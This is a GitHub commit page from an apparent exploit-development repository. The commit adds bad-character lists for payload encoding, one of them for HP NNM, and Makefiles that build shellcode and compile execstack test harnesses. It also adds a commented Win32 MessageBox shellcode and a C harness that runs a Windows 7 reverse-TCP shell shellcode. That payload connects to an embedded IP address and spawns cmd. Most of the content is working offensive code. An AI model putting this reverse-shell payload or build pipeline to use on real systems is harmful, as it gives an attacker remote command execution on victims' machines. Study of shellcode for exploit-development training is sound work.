Skip to content

Commit 97aac3a

Browse files
greyshellgreyshell
committed
Restructure repo
1 parent 52de912 commit 97aac3a

15 files changed

+439
-2
lines changed

‎.gitignore

-2
Original file line numberDiff line numberDiff line change
@@ -166,5 +166,3 @@ cython_debug/
166166
egghunter
167167
shellcode
168168
test
169-
170-
win32_shellcode_dev/

‎artifacts/good_char_set/ascii-printable-characters.txt

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# Removed suspicious bad characters \x00 = null byte, \x0d = CR, \x0a = LF, \x20 = blankspace
2+
3+
# Removing ASCII all control characters
4+
5+
# Showing only ASCII printable characters = 94
6+
7+
# allowed = "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e"

‎artifacts/good_char_set/general-good-chars (another copy).txt

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Removed suspicious bad characters \x00 = null byte, \x0d = CR, \x0a = LF, \x20 = blankspace
2+
3+
# badchar = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

‎artifacts/good_char_set/general-good-chars.txt

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Removed suspicious bad characters \x00 = null byte, \x0d = CR, \x0a = LF, \x20 = blankspace
2+
3+
# allowed = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

‎artifacts/good_char_set/hpnnm-allowed-chars.txt

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# HP NNM: bad_char > \x7f
2+
3+
# allowed = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13"
4+
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24"
5+
"\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36"
6+
"\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
7+
"\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
8+
"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
9+
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d"
10+
"\x7e\x7f")

‎win32_shellcode_dev/messageBox-xp-sp2/Makefile

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
SHELLCODE=shellcode
2+
TEST=test
3+
4+
5+
all: build hex
6+
7+
all-test: test-build test-run
8+
9+
all-clean: clean test-clean
10+
11+
12+
build: $(SHELLCODE).o
13+
ld -m elf_i386 -o $(SHELLCODE) $(SHELLCODE).o
14+
@echo ""
15+
16+
$(SHELLCODE).o: $(SHELLCODE).asm
17+
nasm -f elf32 -o $(SHELLCODE).o $(SHELLCODE).asm
18+
@echo ""
19+
20+
run: $(SHELLCODE)
21+
./$(SHELLCODE)
22+
23+
debug: $(SHELLCODE)
24+
gdb -q ./$(SHELLCODE) -tui
25+
26+
disassemble: $(SHELLCODE)
27+
objdump -d $(SHELLCODE) -M intel
28+
29+
hex: $(SHELLCODE)
30+
@echo "Size of shellcode:"
31+
@size $(SHELLCODE)
32+
@echo ""
33+
@echo "Shellcode:"
34+
@objdump -d ./$(SHELLCODE)|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:| \
35+
cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed "s| $$||g" |sed "s/ /\\\\x/g"| \
36+
paste -d '' -s | sed "s|^|\"|" | sed "s|$$|\"|g" > $(SHELLCODE).txt
37+
@cat $(SHELLCODE).txt
38+
@echo ""
39+
40+
clean:
41+
rm -f $(SHELLCODE).txt
42+
rm -f $(SHELLCODE).o
43+
rm -f $(SHELLCODE)
44+
45+
46+
test-build: $(TEST)
47+
48+
temp:
49+
@cat $(SHELLCODE).txt | sed 's|\\|\\\\|g' > temp
50+
51+
$(TEST): $(SHELLCODE).txt temp
52+
@cp /root/pentest/myScript/test.c.template ./
53+
@sed 's/SHELLCODE/$(shell cat temp)/' test.c.template > $(TEST).c
54+
gcc -m32 $(TEST).c -fno-stack-protector -z execstack -ggdb -o $(TEST)
55+
file $(TEST)
56+
@echo ""
57+
i586-mingw32msvc-gcc $(TEST).c -lws2_32 -o $(TEST).exe
58+
file $(TEST).exe
59+
@echo ""
60+
@rm -f temp
61+
@rm -f test.c.template
62+
63+
test-run: $(TEST)
64+
./$(TEST)
65+
66+
test-debug: $(TEST)
67+
gdb -q ./$(TEST) -tui
68+
69+
test-clean:
70+
rm -f $(TEST)
71+
rm -f $(TEST).c
72+
rm -f $(TEST).exe

‎win32_shellcode_dev/messageBox-xp-sp2/shellcode.asm

+78
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
;msgbox.asm
2+
3+
[BITS 32]
4+
[SECTION .text]
5+
6+
global _start
7+
8+
9+
_start:
10+
;eax holds return value
11+
;ebx will hold function addresses
12+
;ecx will hold string pointers
13+
;edx will hold NULL
14+
15+
16+
xor eax,eax
17+
xor ebx,ebx ;zero out the registers
18+
xor ecx,ecx
19+
xor edx,edx
20+
21+
jmp short GetLibrary
22+
23+
LibraryReturn:
24+
pop ecx ;get the library string
25+
mov [ecx + 10], dl ;insert NULL
26+
mov ebx, 0x7c801d77 ;LoadLibraryA(libraryname); for winxp2 = 0x7c801d77
27+
push ecx ;beginning of user32.dll
28+
call ebx ;eax will hold the module handle
29+
30+
jmp short FunctionName
31+
32+
FunctionReturn:
33+
34+
pop ecx ;get the address of the Function string
35+
xor edx,edx
36+
mov [ecx + 11],dl ;insert NULL
37+
push ecx
38+
push eax
39+
mov ebx, 0x7c80ac28 ;GetProcAddress(hmodule,functionname); for winxp2 = 0x7c80ac28
40+
call ebx ;eax now holds the address of MessageBoxA
41+
42+
jmp short Message
43+
44+
MessageReturn:
45+
pop ecx ;get the message string
46+
xor edx,edx
47+
mov [ecx+3],dl ;insert the NULL
48+
49+
xor edx,edx
50+
51+
push edx ;MB_OK
52+
push ecx ;title
53+
push ecx ;message
54+
push edx ;NULL window handle
55+
56+
call eax ;MessageBoxA(windowhandle,msg,title,type); Address
57+
58+
ender:
59+
xor edx,edx
60+
push eax
61+
mov eax, 0x7c81caa2 ;exitprocess(exitcode); for winxp2 = 0x7c81caa2
62+
call eax ;exit cleanly so we don't crash the parent program
63+
64+
65+
;the N at the end of each string signifies the location of the NULL
66+
;character that needs to be inserted
67+
68+
69+
GetLibrary:
70+
call LibraryReturn
71+
db 'user32.dllN'
72+
FunctionName
73+
call FunctionReturn
74+
db 'MessageBoxAN'
75+
Message
76+
call MessageReturn
77+
db 'HeyN'
78+

‎win32_shellcode_dev/messageBox-xp-sp2/shellcode.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x28\xac\x80\x7c\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff\xff\x48\x65\x79\x4e"

‎win32_shellcode_dev/messageBox-xp-sp2/test.c

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include<stdio.h>
2+
#include<string.h>
3+
4+
unsigned char code[] = \
5+
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x28\xac\x80\x7c\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff\xff\x48\x65\x79\x4e";
6+
7+
int main()
8+
{
9+
printf("Shellcode Length: %d\n", strlen(code));
10+
int (*ret)() = (int(*)())code;
11+
ret();
12+
}

‎win32_shellcode_dev/windows_shell_reverse_tcp/Makefile

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
SHELLCODE=windows7_shell_reverse_tcp
2+
TEST=test-windows7_shell_reverse_tcp
3+
4+
5+
all: build hex
6+
7+
all-test: test-build test-run
8+
9+
all-clean: clean test-clean
10+
11+
12+
build: $(SHELLCODE).o
13+
ld -m elf_i386 -o $(SHELLCODE) $(SHELLCODE).o
14+
@echo ""
15+
16+
$(SHELLCODE).o: $(SHELLCODE).asm
17+
nasm -f elf32 -o $(SHELLCODE).o $(SHELLCODE).asm
18+
@echo ""
19+
20+
run: $(SHELLCODE)
21+
./$(SHELLCODE)
22+
23+
debug: $(SHELLCODE)
24+
gdb -q ./$(SHELLCODE) -tui
25+
26+
disassemble: $(SHELLCODE)
27+
objdump -d $(SHELLCODE) -M intel
28+
29+
hex: $(SHELLCODE)
30+
@echo "Size of shellcode:"
31+
@size $(SHELLCODE)
32+
@echo ""
33+
@echo "Shellcode:"
34+
@objdump -d ./$(SHELLCODE)|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:| \
35+
cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed "s| $$||g" |sed "s/ /\\\\x/g"| \
36+
paste -d '' -s | sed "s|^|\"|" | sed "s|$$|\"|g" > $(SHELLCODE).txt
37+
@cat $(SHELLCODE).txt
38+
@echo ""
39+
40+
clean:
41+
rm -f $(SHELLCODE).txt
42+
rm -f $(SHELLCODE).o
43+
rm -f $(SHELLCODE)
44+
45+
46+
test-build: $(TEST)
47+
48+
temp:
49+
@cat $(SHELLCODE).txt | sed 's|\\|\\\\|g' > temp
50+
51+
$(TEST): $(SHELLCODE).txt temp
52+
@cp /root/pentest/myScript/test.c.template ./
53+
@sed 's/SHELLCODE/$(shell cat temp)/' test.c.template > $(TEST).c
54+
gcc -m32 $(TEST).c -fno-stack-protector -z execstack -ggdb -o $(TEST)
55+
file $(TEST)
56+
@echo ""
57+
i586-mingw32msvc-gcc $(TEST).c -lws2_32 -o $(TEST).exe
58+
file $(TEST).exe
59+
@echo ""
60+
@rm -f temp
61+
@rm -f test.c.template
62+
63+
test-run: $(TEST)
64+
./$(TEST)
65+
66+
test-debug: $(TEST)
67+
gdb -q ./$(TEST) -tui
68+
69+
test-clean:
70+
rm -f $(TEST)
71+
rm -f $(TEST).c
72+
rm -f $(TEST).exe

‎win32_shellcode_dev/windows_shell_reverse_tcp/test-windows7_shell_reverse_tcp

6.36 KB
Binary file not shown.

‎win32_shellcode_dev/windows_shell_reverse_tcp/test-windows7_shell_reverse_tcp.c

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include<stdio.h>
2+
#include<string.h>
3+
4+
unsigned char code[] = \
5+
"\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x54\xbb\x64\x28\x98\x75\xff\xd3\x89\xc5\x31\xc0\x66\xb8\x75\x70\x50\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x31\xc0\x66\xb8\x74\x41\x50\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x31\xdb\x53\x53\x53\x31\xc9\xb1\x06\x51\x43\x53\x43\x53\xff\xd0\x97\xbb\x65\x65\x63\x74\xc1\xeb\x08\x53\x68\x63\x6f\x6e\x6e\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x68\xac\x10\xe8\x95\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xff\xd0\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x62\x20\x93\x75\xff\xd3\x31\xd2\x50\xb8\xcf\x2a\x98\x75\xff\xd0";
6+
7+
main()
8+
{
9+
printf("Shellcode Length: %d\n", strlen(code));
10+
int (*ret)() = (int(*)())code;
11+
ret();
12+
}

‎win32_shellcode_dev/windows_shell_reverse_tcp/windows7_shell_reverse_tcp

755 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)